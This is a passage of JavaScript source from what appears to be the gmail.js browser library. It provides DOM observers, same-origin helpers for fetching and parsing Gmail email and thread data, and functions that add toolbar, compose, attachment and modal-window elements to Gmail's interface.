callback(match,type);\n }\n }\n };\n\n // support extending with custom observers\n if (api.tracker.custom_supported_observers) {\n $.merge(api.tracker.supported_observers, api.tracker.custom_supported_observers);\n $.extend(true, api.tracker.dom_observers, api.tracker.custom_dom_observers); // deep copy to copy in sub_observers where relevant\n }\n\n // map observed classNames to actions\n api.tracker.dom_observer_map = {};\n $.each(api.tracker.dom_observers, function(act,config){\n if(!$.isArray(config.class)) config.class = [config.class];\n $.each(config.class, function(idx, className) {\n api.tracker.dom_observer_map[className] = act;\n });\n });\n //console.log( \"observer_config\", api.tracker.dom_observers, \"dom_observer_map\", api.tracker.dom_observer_map);\n };\n\n /**\n Allow an application to register a custom DOM observer specific to their app.\n Adds it to the configured DOM observers and is supported by the dom insertion observer\n This method can be called two different ways:\n Args:\n action - the name of the new DOM observer\n className / args - for a simple observer, this arg can simply be the class on an inserted DOM element that identifies this event should be\n triggered. For a more complicated observer, this can be an object containing properties for each of the supported DOM observer config arguments\n parent - optional - if specified, this observer will be registered as a sub_observer for the specified parent\n */\n api.observe.register = function(action, args, parent) {\n\n // check observers configured\n if (api.tracker.dom_observer_init) {\n api.tools.error(\"Error: Please register all custom DOM observers before binding handlers using gmail.observe.on etc\");\n }\n if (!api.tracker.custom_supported_observers) {\n api.tracker.custom_supported_observers = [];\n api.tracker.custom_dom_observers = {};\n }\n\n // was an object of arguments passed, or just a className\n var config = {};\n if (typeof args === \"object\" && !$.isArray(args)) {\n\n // copy over supported config\n $.each([\"class\",\"selector\",\"sub_selector\",\"handler\"], function(idx, arg) {\n if(args[arg]) {\n config[arg] = args[arg];\n }\n });\n } else {\n config[\"class\"] = args;\n }\n api.tracker.custom_supported_observers.push(action);\n if (parent) {\n if (!api.tracker.custom_dom_observers[parent]) {\n api.tracker.custom_dom_observers[parent] = {sub_observers: {}};\n }\n api.tracker.custom_dom_observers[parent].sub_observers[action] = config;\n } else {\n api.tracker.custom_dom_observers[action] = config;\n }\n };\n\n /**\n Observe DOM nodes being inserted. When a node with a class defined in api.tracker.dom_observers is inserted,\n trigger the related event and fire off any relevant bound callbacks\n This function should return true if a dom observer is found for the specified action\n */\n api.observe.on_dom = function(action, callback) {\n\n // check observers configured\n if(!api.tracker.dom_observer_init) {\n api.observe.initialize_dom_observers();\n }\n\n // support for DOM observers\n if($.inArray(action, api.tracker.supported_observers) > -1) {\n\n //console.log(\"observer found\",api.tracker.dom_observers[action]);\n\n // if we haven\"t yet bound the DOM insertion observer, do it now\n if(!api.tracker.observing_dom) {\n api.tracker.observing_dom = true;\n //api.tracker.dom_watchdog = {}; // store passed observer callbacks for different DOM events\n\n // this listener will check every element inserted into the DOM\n // for specified classes (as defined in api.tracker.dom_observers above) which indicate\n // related actions which need triggering\n $(window.document).bind(\"DOMNodeInserted\", function(e) {\n api.tools.insertion_observer(e.target, api.tracker.dom_observers, api.tracker.dom_observer_map);\n });\n\n // recipient_change also needs to listen to removals\n var mutationObserver = new MutationObserver(function(mutations) {\n for (var i = 0; i < mutations.length; i++) {\n var mutation = mutations[i];\n var removedNodes = mutation.removedNodes;\n for (var j = 0; j < removedNodes.length; j++) {\n var removedNode = removedNodes[j];\n if (removedNode.className === \"vR\") {\n var observer = api.tracker.dom_observer_map[\"vR\"];\n var handler = api.tracker.dom_observers.recipient_change.handler;\n api.observe.trigger_dom(observer, $(mutation.target), handler);\n }\n }\n }\n });\n mutationObserver.observe(document.body, {subtree: true, childList: true});\n\n }\n api.observe.bind(\"dom\",action,callback);\n // console.log(api.tracker.observing_dom,\"dom_watchdog is now:\",api.tracker.dom_watchdog);\n return true;\n\n // support for gmail interface load event\n }\n else if(action === \"compose_cancelled\") {\n console.log(\"set compose cancelled callback\");\n api.tracker.composeCancelledCallback = callback;\n }\n else if(action === \"load\") {\n\n // wait until the gmail interface has finished loading and then\n // execute the passed handler. If interface is already loaded,\n // then will just execute callback\n if(api.dom.inbox_content().length) return callback();\n var load_count = 0;\n var delay = 200; // 200ms per check\n var attempts = 50; // try 50 times before giving up & assuming an error\n var timer = setInterval(function() {\n var test = api.dom.inbox_content().length;\n if(test > 0) {\n clearInterval(timer);\n return callback();\n } else if(++load_count > attempts) {\n clearInterval(timer);\n console.log(\"Failed to detect interface load in \" + (delay*attempts/1000) + \" seconds. Will automatically fire event in 5 further seconds.\");\n setTimeout(callback, 5000);\n }\n }, delay);\n return true;\n }\n };\n\n // observes every element inserted into the DOM by Gmail and looks at the classes on those elements,\n // checking for any configured observers related to those classes\n api.tools.insertion_observer = function(target, dom_observers, dom_observer_map, sub) {\n //console.log(\"insertion\", target, target.className);\n if(!api.tracker.dom_observer_map) return;\n\n // loop through each of the inserted elements classes & check for a defined observer on that class\n var cn = target.className || \"\";\n var classes = cn.trim().split(/\\s+/);\n if(!classes.length) classes.push(\"\"); // if no class, then check for anything observing nodes with no class\n $.each(classes, function(idx, className) {\n var observer = dom_observer_map[className];\n\n // check if this is a defined observer, and callbacks are bound to that observer\n if(observer && api.tracker.watchdog.dom[observer]) {\n var element = $(target);\n var config = dom_observers[observer];\n\n // if a config id specified for this observer, ensure it matches for this element\n if(config.selector && !element.is(config.selector)) {\n return;\n }\n\n // check for any defined sub_selector match - if not found, then this is not a match for this observer\n // if found, then set the matching element to be the one that matches the sub_selector\n if(config.sub_selector) {\n element = element.find(config.sub_selector);\n // console.log(\"checking for subselector\", config.sub_selector, element);\n }\n\n // if an element has been found, execute the observer handler (or if none defined, execute the callback)\n if(element.length) {\n\n var handler = config.handler ? config.handler : function(match, callback) { callback(match); };\n // console.log( \"inserted DOM: class match in watchdog\",observer,api.tracker.watchdog.dom[observer] );\n api.observe.trigger_dom(observer, element, handler);\n\n // if sub_observers are configured for this observer, bind a DOMNodeInsertion listener to this element & to check for specific elements being added to this particular element\n if(config.sub_observers) {\n\n // create observer_map for the sub_observers\n var observer_map = {};\n $.each(config.sub_observers, function(act,cfg){\n observer_map[cfg.class] = act;\n });\n\n // this listener will check every element inserted into the DOM below the current element\n // and repeat this method, but specifically below the current element rather than the global DOM\n element.bind(\"DOMNodeInserted\", function(e) {\n api.tools.insertion_observer(e.target, config.sub_observers, observer_map, \"SUB \");\n });\n }\n }\n }\n });\n };\n\n\n api.tools.make_request = function (_link, method, disable_cache) {\n var link = decodeURIComponent(_link.replace(/%23/g, \"#-#-#\"));\n method = method || \"GET\";\n\n link = encodeURI(link).replace(/#-#-#/gi, \"%23\");\n var config = {type: method, url: link, async: false};\n if (disable_cache) {\n config.cache = false;\n }\n var request = $.ajax(config);\n return request.responseText;\n };\n\n\n api.tools.make_request_async = function (_link, method, callback, error_callback, disable_cache) {\n var link = decodeURIComponent(_link.replace(/%23/g, \"#-#-#\"));\n method = method || \"GET\";\n\n link = encodeURI(link).replace(/#-#-#/gi, \"%23\");\n var config = {type: method, url: link, async: true, dataType: \"text\"};\n if (disable_cache){\n config.cache = false;\n }\n $.ajax(config)\n .done(function(data, textStatus, jqxhr) {\n callback(jqxhr.responseText);\n })\n .fail(function(jqxhr, textStatus, errorThrown) {\n console.error(\"Request Failed\", errorThrown);\n if (typeof error_callback === 'function'){\n error_callback(jqxhr, textStatus, errorThrown);\n }\n });\n };\n\n\n api.tools.parse_view_data = function(view_data) {\n var parsed = [];\n var data = [];\n\n for(var j=0; j < view_data.length; j++) {\n if(view_data[j][0] === \"tb\") {\n for(var k=0; k < view_data[j][2].length; k++) {\n data.push(view_data[j][2][k]);\n }\n }\n }\n\n for(var i=0; i < data.length; i++) {\n var x = data[i];\n\n parsed.push({\n id: x[0],\n title : x[9],\n excerpt : x[10],\n time : x[15],\n sender : x[28],\n attachment : x[13],\n labels: x[5]\n });\n }\n\n return parsed;\n };\n\n\n api.helper.get.is_delegated_inbox = function() {\n return api.tracker.globals[17][5][0] === \"fwd\";\n };\n\n\n api.helper.get.visible_emails_pre = function() {\n var page = api.get.current_page();\n var url = window.location.origin + window.location.pathname + \"?ui=2&ik=\" + api.tracker.ik+\"&rid=\" + api.tracker.rid + \"&view=tl&num=120&rt=1\";\n var start = $(\".aqK:visible .Dj\").find(\"span:first\").text().replace(\",\", \"\").replace(\".\", \"\");\n if (start) {\n start = parseInt(start - 1);\n url += \"&start=\" + start +\n \"&sstart=\" + start;\n } else {\n url += \"&start=0\";\n }\n\n var cat_label = \"\";\n\n if(page.indexOf(\"label/\") === 0) {\n url += \"&cat=\" + page.split(\"/\")[1] +\"&search=cat\";\n } else if(page.indexOf(\"category/\") === 0) {\n if(page.indexOf(\"forums\") !== -1) {\n cat_label = \"group\";\n } else if(page.indexOf(\"updates\") !== -1) {\n cat_label = \"notification\";\n } else if(page.indexOf(\"promotion\") !== -1) {\n cat_label = \"promo\";\n } else if(page.indexOf(\"social\") !== -1) {\n cat_label = \"social\";\n }\n url += \"&cat=^smartlabel_\" + cat_label +\"&search=category\";\n } else if(page.indexOf(\"search/\") === 0) {\n var at = $(\"input[name=at]\").val();\n url += \"&qs=true&q=\" + page.split(\"/\")[1] +\"&at=\" + at + \"&search=query\";\n } else if(page === \"inbox\"){\n if ($(\"div[aria-label='Social']\").attr(\"aria-selected\") === \"true\") {\n cat_label = \"social\";\n url += \"&cat=^smartlabel_\" + cat_label + \"&search=category\";\n } else if ($(\"div[aria-label='Promotions']\").attr(\"aria-selected\") === \"true\") {\n cat_label = \"promo\";\n url += \"&cat=^smartlabel_\" + cat_label + \"&search=category\";\n } else if ($(\"div[aria-label='Updates']\").attr(\"aria-selected\") === \"true\") {\n cat_label = \"notification\";\n url += \"&cat=^smartlabel_\" + cat_label + \"&search=category\";\n } else if ($(\"div[aria-label='Forums']\").attr(\"aria-selected\") === \"true\") {\n cat_label = \"group\";\n url += \"&cat=^smartlabel_\" + cat_label + \"&search=category\";\n } else {\n url += \"&search=\" + \"mbox\";\n }\n }else {\n url += \"&search=\" + page;\n }\n return url;\n };\n\n\n api.helper.get.visible_emails_post = function(get_data) {\n var emails = [];\n\n if (!get_data) {\n return emails;\n }\n\n get_data = get_data.substring(get_data.indexOf(\"[\"), get_data.length);\n get_data = \"\\\"use strict\\\"; return \" + get_data;\n get_data = new Function(get_data);\n\n api.tracker.view_data = get_data();\n\n for(var i in api.tracker.view_data) {\n if (typeof(api.tracker.view_data[i]) === \"function\") {\n continue;\n }\n\n var cdata = api.tools.parse_view_data(api.tracker.view_data[i]);\n if(cdata.length > 0) {\n merge(emails, cdata);\n }\n }\n return emails;\n };\n\n // dispatch mousedown and mouseup event on passed element\n api.helper.trigger_mouse_click = function(element) {\n if(element) {\n //Trigger mouse down event\n var mouseDown = document.createEvent(\"MouseEvents\");\n mouseDown.initEvent( \"mousedown\", true, false );\n element.dispatchEvent(mouseDown);\n\n //Trigger mouse up event\n var mouseUp = document.createEvent(\"MouseEvents\");\n mouseUp.initEvent( \"mouseup\", true, false );\n element.dispatchEvent(mouseUp);\n\n return true;\n }\n return false;\n };\n\n api.get.visible_emails = function() {\n var url = api.helper.get.visible_emails_pre();\n var get_data = api.tools.make_request(url);\n var emails = api.helper.get.visible_emails_post(get_data);\n\n return emails;\n };\n\n\n api.get.visible_emails_async = function(callback) {\n var url = api.helper.get.visible_emails_pre();\n api.tools.make_request_async(url, \"GET\", function(get_data) {\n var emails = api.helper.get.visible_emails_post(get_data);\n callback(emails);\n });\n };\n\n\n api.get.selected_emails_data = function(){\n var selected_emails = [];\n if(!api.check.is_inside_email()){\n if($(\"[gh='tl'] div[role='checkbox'][aria-checked='true']\").length){\n var email = null;\n var emails = api.get.visible_emails();\n $(\"[gh='tl'] div[role='checkbox']\").each(function(index){\n if($(this).attr(\"aria-checked\") === \"true\"){\n email = api.get.email_data(emails[index].id);\n selected_emails.push(email);\n }\n });\n }\n }else {\n selected_emails.push(api.get.email_data());\n }\n return selected_emails;\n };\n\n api.get.current_page = function() {\n var hash = window.location.hash.split(\"#\").pop().split(\"?\").shift() || \"inbox\";\n var pages = [\n \"sent\", \"inbox\", \"starred\", \"drafts\", \"imp\", \"chats\", \"all\", \"spam\", \"trash\",\n \"settings\", \"label\", \"category\", \"circle\", \"search\"\n ];\n\n var page = null;\n\n if($.inArray(hash, pages) > -1) {\n page = hash;\n }\n\n if(hash.indexOf(\"inbox/\") !== -1 || hash.indexOf(\"sent/\") !== -1 || hash.indexOf(\"all/\") !== -1) {\n page = \"email\";\n }\n else if(hash.match(/\\/[0-9a-f]{16,}$/gi)) {\n page = \"email\";\n }\n\n return page || hash;\n };\n\n\n api.tools.infobox = function(message, time, html){\n var top = $(\".b8.UC\");\n\n // initial Gmail style I noticed on 26 / 05 / 2014 for $(\".b8.UC\") :\n // style=\"position: relative; top: -10000px;\"\n // Seems that when Gmail shows infobox, the style is simply removed\n // - from what I can see in DevTools Elements Panel\n\n if(top.length > 0){\n top.stop(false, true); // cancel any existing fade so we can start again\n var info = top.find(\".vh\");\n if (!html) {\n info.text(message);\n } else {\n info.html(message);\n }\n if(typeof time !== \"undefined\"){\n var initialInfoboxStyle = top.attr(\"style\"); // backup initial style\n top.removeAttr(\"style\").fadeTo(time, 0, function(){ // simply remove then restore\n $(this).attr(\"style\", initialInfoboxStyle); // style attribute insteed of playing\n }); // on visibility property\n }\n else{\n top.removeAttr(\"style\"); // dito\n }\n }\n };\n\n /**\n * Re-renders the UI using the available data.\n *\n * This method does _not_ cause Gmail to fetch new data. This method is useful\n * in circumstances where Gmail has data available but does not immediately\n * render it. `observe.after` may be used to detect when Gmail has fetched the\n * relevant data. For instance, to refresh a conversation after Gmail fetches\n * its data:\n *\n * gmail.observe.after(\"refresh\", function(url, body, data, xhr) {\n * if (url.view === \"cv\") {\n * gmail.tools.rerender();\n * }\n * });\n *\n * If a callback is passed, it will be invoked after re-rendering is complete.\n */\n api.tools.rerender = function(callback) {\n var url = window.location.href;\n var hash = window.location.hash;\n\n // Get Gmail to re-render by navigating away and then back to the current URL. We keep the\n // UI from changing as we navigate away by visiting an equivalent URL: the current URL with the\n // first parameter of the hash stripped (\"#inbox/14a16fab4adc1456\" -> \"#/14a16fab4adc1456\" or\n // \"#inbox\" -> \"#\").\n var tempUrl;\n if (hash.indexOf(\"/\") !== -1) {\n tempUrl = url.replace(/#.*?\\//, \"#/\");\n } else {\n tempUrl = url.replace(/#.*/, \"#\");\n }\n window.location.replace(tempUrl);\n\n // Return to the original URL after a 0-timeout to force Gmail to navigate to the temp URL.\n setTimeout(function() {\n window.location.replace(url);\n\n // For some reason, the two replace operations above create a history entry (tested in\n // Chrome 39.0.2171.71). Pop it to hide our URL manipulation.\n window.history.back();\n\n if (callback) callback();\n }, 0);\n };\n\n api.tools.get_reply_to = function(ms13) {\n // reply to is an array if exists\n var reply_to = ms13 ? ms13[4] : [];\n\n // if reply to set get email from it and return it\n if (reply_to.length !== 0) {\n return api.tools.extract_email_address(reply_to[0]);\n }\n\n // otherwise return null\n return null;\n };\n\n api.tools.parse_email_data = function(email_data) {\n var data = {};\n\n for(var i in email_data) {\n var x = email_data[i];\n if(x[0] === \"cs\") {\n data.thread_id = x[1];\n data.first_email= x[8][0];\n data.last_email = x[2];\n data.total_emails = x[3];\n data.total_threads = x[8];\n data.people_involved = x[15];\n data.subject = x[23];\n }\n\n if(x[0] === \"ms\") {\n if(data.threads === undefined) {\n data.threads = {};\n }\n\n data.threads[x[1]] = {};\n data.threads[x[1]].is_deleted = (x[9] && x[9].indexOf(\"^k\") > -1);\n data.threads[x[1]].reply_to_id = x[2];\n data.threads[x[1]].from = x[5];\n data.threads[x[1]].from_email = x[6];\n data.threads[x[1]].timestamp = x[7];\n data.threads[x[1]].datetime = x[24];\n data.threads[x[1]].attachments = x[21].split(\",\");\n data.threads[x[1]].subject = x[12];\n data.threads[x[1]].content_html = x[13] ? x[13][6] : x[8];\n data.threads[x[1]].to = x[13] ? x[13][1] : ((x[37] !== undefined) ? x[37][1]:[]);\n data.threads[x[1]].cc = x[13] ? x[13][2] : [];\n data.threads[x[1]].bcc = x[13] ? x[13][3] : [];\n data.threads[x[1]].reply_to = api.tools.get_reply_to(x[13]);\n data.threads[x[1]].labels = x[9];\n\n try { // jQuery will sometime fail to parse x[13][6], if so, putting the raw HTML\n data.threads[x[1]].content_plain = x[13] ? $(x[13][6]).text() : x[8];\n }\n catch(e) {\n data.threads[x[1]].content_plain = x[13] ? x[13][6] : x[8];\n }\n }\n }\n\n return data;\n };\n\n\n api.helper.get.email_data_pre = function(email_id) {\n if(api.check.is_inside_email() && email_id === undefined) {\n email_id = api.get.email_id();\n }\n\n var url = null;\n if(email_id !== undefined) {\n url = window.location.origin + window.location.pathname + \"?ui=2&ik=\" + api.tracker.ik + \"&rid=\" + api.tracker.rid + \"&view=cv&th=\" + email_id + \"&msgs=&mb=0&rt=1&search=mbox\";\n }\n return url;\n };\n\n\n api.helper.get.email_data_post = function(get_data) {\n if (!get_data) {\n return {};\n }\n get_data = get_data.substring(get_data.indexOf(\"[\"), get_data.length);\n get_data = \"\\\"use strict\\\"; return \" + get_data;\n get_data = new Function(get_data);\n\n var cdata = get_data();\n\n api.tracker.email_data = cdata[0];\n return api.tools.parse_email_data(api.tracker.email_data);\n };\n\n\n api.get.email_data = function(email_id) {\n var url = api.helper.get.email_data_pre(email_id);\n\n if (url !== null) {\n var get_data = api.tools.make_request(url);\n var email_data = api.helper.get.email_data_post(get_data);\n return email_data;\n }\n\n return {};\n };\n\n\n api.get.email_data_async = function(email_id, callback) {\n var url = api.helper.get.email_data_pre(email_id);\n if (url !== null) {\n api.tools.make_request_async(url, \"GET\", function (get_data) {\n var email_data = api.helper.get.email_data_post(get_data);\n callback(email_data);\n });\n } else {\n callback({});\n }\n };\n\n\n api.helper.get.email_source_pre = function(email_id) {\n if(api.check.is_inside_email() && email_id === undefined) {\n email_id = api.get.email_id();\n }\n\n var url = null;\n if(email_id !== undefined) {\n url = window.location.origin + window.location.pathname + \"?view=att&th=\" + email_id + \"&attid=0&disp=comp&safe=1&zw\";\n }\n\n return url;\n };\n\n\n api.get.email_source = function(email_id) {\n var url = api.helper.get.email_source_pre(email_id);\n if (url !== null) {\n return api.tools.make_request(url, \"GET\", true);\n }\n return \"\";\n };\n\n\n api.get.email_source_async = function(email_id, callback, error_callback) {\n var url = api.helper.get.email_source_pre(email_id);\n if (url !== null) {\n api.tools.make_request_async(url, \"GET\", callback, error_callback, true);\n } else {\n callback(\"\");\n }\n };\n\n api.get.displayed_email_data = function() {\n var email_data = api.get.email_data();\n\n if (api.check.is_conversation_view()) {\n return get_displayed_email_data_for_thread(email_data);\n }\n else { // Supposing only one displayed email.\n return get_displayed_email_data_for_single_email(email_data);\n }\n };\n\n api.get.displayed_email_data_async = function (callback) {\n api.get.email_data_async(undefined, function (email_data) {\n if (api.check.is_conversation_view()) {\n callback(get_displayed_email_data_for_thread(email_data));\n }\n else { // Supposing only one displayed email.\n callback(get_displayed_email_data_for_single_email(email_data));\n }\n });\n };\n\n var get_displayed_email_data_for_thread = function(email_data) {\n var displayed_email_data = email_data;\n\n var threads = displayed_email_data.threads;\n var total_threads = displayed_email_data.total_threads;\n\n var hash = window.location.hash.split(\"#\")[1] || \"\";\n var is_in_trash = (hash.indexOf(\"trash\") === 0);\n\n for (var id in threads) {\n var email = threads[id];\n var keep_email = (is_in_trash) ? email.is_deleted : !email.is_deleted;\n\n if (!keep_email) {\n delete threads[id];\n total_threads.splice(total_threads.indexOf(id), 1);\n displayed_email_data.total_emails--;\n // TODO: remove people involved only in this email.\n }\n }\n return displayed_email_data;\n };\n\n var get_displayed_email_data_for_single_email = function(email_data) {\n var displayed_email_data = {};\n for (var id in email_data.threads) {\n var message_class_id = \"m\"+id;\n var displayed_email_element = $(\".ii.gt .a3s.aXjCH.\" + message_class_id);\n\n if (displayed_email_element.length > 0) {\n var email = email_data.threads[id];\n\n displayed_email_data.first_email = id;\n displayed_email_data.last_email = id;\n displayed_email_data.subject = email_data.subject;\n\n displayed_email_data.threads = {};\n displayed_email_data.threads[id] = email;\n displayed_email_data.total_emails = 1;\n displayed_email_data.total_threads = [id];\n\n displayed_email_data.people_involved = [];\n\n displayed_email_data.people_involved.push(\n [email.from, email.from_email]\n );\n\n email.to.forEach(function(recipient) {\n var address = api.tools.extract_email_address(recipient);\n var name = api.tools.extract_name(recipient.replace(address, \"\")) || \"\";\n\n displayed_email_data.people_involved.push(\n [name, address]\n );\n });\n\n break;\n }\n }\n return displayed_email_data;\n };\n\n\n api.check.is_conversation_view = function() {\n var flag_name = \"bx_vmb\";\n var flag_value = undefined;\n\n var array_with_flag = api.tracker.globals[17][4][1];\n\n for (var i = 0; i < array_with_flag.length; i++) {\n var current = array_with_flag[i];\n\n if (current[0] === flag_name) {\n flag_value = current[1];\n\n break;\n }\n }\n\n return flag_value === \"0\" || flag_value === undefined;\n };\n\n\n api.tools.extract_email_address = function(str) {\n var regex = /[\\+a-z0-9._-]+@[a-z0-9._-]+\\.[a-z0-9._-]+/gi;\n var matches = (str) ? str.match(regex) : undefined;\n\n return (matches) ? matches[0] : undefined;\n };\n\n\n api.tools.extract_name = function(str) {\n var regex = /[a-z\"._-\\s]+/gi;\n var matches = (str) ? str.match(regex) : undefined;\n\n return (matches && matches[0]) ? matches[0].trim() : undefined;\n };\n\n\n api.tools.i18n = function(label) {\n var locale = api.get.localization();\n var dictionary;\n\n switch (locale) {\n case \"fr\":\n dictionary = {\n \"inbox\": \"Boîte de réception\",\n \"drafts\": \"Brouillons\",\n \"spam\": \"Spam\",\n \"forums\": \"Forums\",\n \"updates\": \"Mises à jour\",\n \"promotions\": \"Promotions\",\n \"social_updates\": \"Réseaux sociaux\"\n };\n break;\n\n case \"nl\":\n dictionary = {\n \"inbox\": \"Postvak IN\",\n \"drafts\": \"Concepten\",\n \"spam\": \"Spam\",\n \"forums\": \"Forums\",\n \"updates\": \"Updates\",\n \"promotions\": \"Reclame\",\n \"social_updates\": \"Sociaal\"\n };\n break;\n\n case \"en\":\n default:\n dictionary = {\n \"inbox\": \"Inbox\",\n \"drafts\": \"Drafts\",\n \"spam\": \"Spam\",\n \"forums\": \"Forums\",\n \"updates\": \"Updates\",\n \"promotions\": \"Promotions\",\n \"social_updates\": \"Social Updates\"\n };\n break;\n }\n\n return dictionary[label];\n };\n\n api.tools.add_toolbar_button = function(content_html, onClickFunction, styleClass) {\n var container = $(document.createElement(\"div\"));\n container.attr(\"class\",\"G-Ni J-J5-Ji\");\n\n var button = $(document.createElement(\"div\"));\n var buttonClasses = \"T-I J-J5-Ji lS \";\n if(styleClass !== undefined &&\n styleClass !== null &&\n styleClass !== \"\"){\n buttonClasses += styleClass;\n }else{\n buttonClasses += \"T-I-ax7 ar7\";\n }\n button.attr(\"class\", buttonClasses);\n\n button.html(content_html);\n button.click(onClickFunction);\n\n var content = $(document.createElement(\"div\"));\n content.attr(\"class\",\"asa\");\n\n container.html(button);\n\n api.dom.toolbar().append(container);\n\n return container;\n };\n\n api.tools.add_compose_button = function(composeWindow, content_html, onClickFunction, styleClass) {\n var button = $(document.createElement(\"div\"));\n var buttonClasses = \"T-I J-J5-Ji aoO L3 \";\n if(styleClass !== undefined){\n buttonClasses += styleClass;\n }\n button.attr(\"class\", buttonClasses);\n button.html(content_html);\n button.click(onClickFunction);\n\n composeWindow.find(\".gU.Up > .J-J5-Ji\").append(button);\n\n return button;\n };\n\n /**\n adds a button to an email attachment.\n\n 'attachment'-parameter must be the object returned from api.dom.email().attachments().\n 'contentHtml' should represent a 21x21 image of some kind. optional.\n 'customCssClass' styling used on the buttons central area. optional.\n 'tooltip' will be shown on hover.\n\n return-value is jQuery-instance representing the created button.\n */\n api.tools.add_attachment_button = function(attachment, contentHtml, customCssClass, tooltip, onClickFunction) {\n var button = $(document.createElement(\"div\"));\n button.attr(\"class\", \"T-I J-J5-Ji aQv T-I-ax7 L3\");\n button.attr(\"style\", \"user-select: none;\");\n button.attr(\"aria-label\", tooltip);\n button.attr(\"data-tooltip\", tooltip);\n\n // make hover-state match existing buttons\n var hoverClass = \"T-I-JW\";\n button.mouseover(function() { this.classList.add(hoverClass); });\n button.mouseout(function() { this.classList.remove(hoverClass); });\n\n var div = $(document.createElement(\"div\"));\n var divClass = \"wtScjd J-J5-Ji aYr\";\n if (customCssClass) {\n divClass += \" \" + customCssClass;\n }\n div.attr(\"class\", divClass);\n if (contentHtml) {\n div.html(contentHtml);\n }\n\n button.append(div);\n button.click(onClickFunction);\n attachment.$el.find(\"div.aQw\").append(button);\n\n return button;\n };\n\n api.tools.remove_modal_window = function() {\n $(\"#gmailJsModalBackground\").remove();\n $(\"#gmailJsModalWindow\").remove();\n };\n\n api.tools.add_modal_window = function(title, content_html, onClickOk, onClickCancel, onClickClose) {\n // By default, clicking on cancel or close should clean up the modal window\n onClickClose = onClickClose || api.tools.remove_modal_window;\n onClickCancel = onClickCancel || api.tools.remove_modal_window;\n\n var background = $(document.createElement(\"div\"));\n background.attr(\"id\",\"gmailJsModalBackground\");\n background.attr(\"class\",\"Kj-JD-Jh\");\n background.attr(\"aria-hidden\",\"true\");\n background.attr(\"style\",\"opacity:0.75;width:100%;height:100%;\");\n\n // Modal window wrapper\n var container = $(document.createElement(\"div\"));\n container.attr(\"id\",\"gmailJsModalWindow\");\n container.attr(\"class\", \"Kj-JD\");\n container.attr(\"tabindex\", \"0\");\n container.attr(\"role\", \"alertdialog\");\n container.attr(\"aria-labelledby\", \"gmailJsModalWindowTitle\");\n container.attr(\"style\", \"left:50%;top:50%;opacity:1;\");\n\n // Modal window header contents\n var header = $(document.createElement(\"div\"));\n header.attr(\"class\", \"Kj-JD-K7 Kj-JD-K7-GIHV4\");\n\n var heading = $(document.createElement(\"span\"));\n heading.attr(\"id\", \"gmailJsModalWindowTitle\");\n heading.attr(\"class\", \"Kj-JD-K7-K0\");\n heading.attr(\"role\", \"heading\");\n heading.html(title);\n\n var closeButton = $(document.createElement(\"span\"));\n closeButton.attr(\"id\", \"gmailJsModalWindowClose\");\n closeButton.attr(\"class\", \"Kj-JD-K7-Jq\");\n closeButton.attr(\"role\", \"button\");\n closeButton.attr(\"tabindex\", \"0\");\n closeButton.attr(\"aria-label\", \"Close\");\n closeButton.click(onClickClose);\n\n header.append(heading);\n header.append(closeButton);\n\n // Modal window contents\n var contents = $(document.createElement(\"div\"));\n contents.attr(\"id\", \"gmailJsModalWindowContent\");\n contents.attr(\"class\", \"Kj-JD-Jz\");\n contents.html(content_html);\n\n // Modal window controls\n var controls = $(document.createElement(\"div\"));\n controls.attr(\"class\", \"Kj-JD-Jl\");\n\n var okButton = $(document.createElement(\"button\"));\n okButton.attr(\"id\", \"gmailJsModalWindowOk\");\n okButton.attr(\"class\", \"J-at1-auR J-at1-atl\");\n okButton.attr(\"name\", \"ok\");\n okButton.text(\"OK\");\n okButton.click(onClickOk);\n\n var cancelButton = $(document.createElement(\"button\"));\n cancelButton.attr(\"id\", \"gmailJsModalWindowCancel\");\n cancelButton.attr(\"name\", \"cancel\");\n cancelButton.text(\"Cancel\");\n cancelButton.click(onClickCancel);\n\n controls.append(okButton);\n controls.append(cancelButton);\n\n container.append(header);\n container.append(contents);\n container.append(controls);\n\n $(document.body).append(background);\n $(document.body).append(container);\n\n var center = function() {\n container.css({\n top: ($(window).height() - container.outerHeight()) / 2,\n left: ($(window).width() - container.outerWidth()) / 2\n });\n };\n\n center();\n\n $(window).resize(center);\n };\n\n api.tools.toggle_minimize = function (){\n //The minimize button\n var minimizeButton = $(\"[alt='Minimize']\")[0];\n\n if(minimizeButton) {\n api.helper.trigger_mouse_click(minimizeButton);\n\n return true;\n }\n return false;\n };\n\n api.chat.is_hangouts = function() {\n if(api.tracker.hangouts !== undefined) {\n return api.tracker.hangouts;\n }\n\n // Returns true if the user is using hangouts instead of the classic chat\n var dwClasses = $(\".dw\");\n if(dwClasses.length > 1) {\n throw \"Figuring out is hangouts - more than one dw classes found\";\n }\n if(dwClasses.length === 0) {\n throw \"Figuring out is hangouts - no dw classes found\";\n }\n\n var dw = dwClasses[0];\n\n var chatWindows = $(\".nH.aJl.nn\", dw);\n if(chatWindows.length > 0) {\n // hangouts\n api.tracker.hangouts = true;\n return true;\n }\n\n chatWindows = $(\".nH.nn\", dw);\n\n if(chatWindows.length > 2) {\n // classic\n api.tracker.hangouts = false;\n return false;\n }\n return undefined;\n };\n\n // retrieve queue of compose window dom objects\n // latest compose at the start of the queue (index 0)\n api.dom.composes = function() {\n var objs = [];\n $(\"div.M9\").each(function(idx, el) {\n objs.push( new api.dom.compose(el));\n });\n return objs;\n };\n\n /**\n A compose object. Represents a compose window in the DOM and provides a bunch of methods and properties to access & interact with the window\n Expects a jQuery DOM element for the compose div\n */\n api.dom.compose = function(element) {\n if (this.constructor !== api.dom.compose) {\n // if not invoked through new(), nothing works as expected!\n return new api.dom.compose(element);\n }\n\n element = $(element);\n if(!element || (!element.hasClass(\"M9\") && !element.hasClass(\"AD\"))) api.tools.error(\"api.dom.compose called with invalid element\");\n this.$el = element;\n return this;\n };\n\n extend(api.dom.compose.prototype, {\n /**\n Retrieve the compose id\n */\n id: function() {\n return this.dom(\"id\").val();\n },\n\n /**\n Retrieve the draft email id\n */\n email_id: function() {\n return this.dom(\"draft\").val();\n },\n\n /**\n Is this compose instance inline (as with reply & forwards) or a popup (as with a new compose)\n */\n is_inline: function() {\n return this.$el.closest(\"td.Bu\").length > 0;\n },\n\n /**\n Retrieves to, cc, bcc and returns them in a hash of arrays\n Parameters:\n options.type string to, cc, or bcc to check a specific one\n options.flat boolean if true will just return an array of all recipients instead of splitting out into to, cc, and bcc\n */\n recipients: function(options) {\n if( typeof options !== \"object\" ) options = {};\n var name_selector = options.type ? \"[name=\" + options.type + \"]\" : \"\";\n\n // determine an array of all emails specified for To, CC and BCC and extract addresses into an object for the callback\n var recipients = options.flat ? [] : {};\n this.$el.find(\".GS 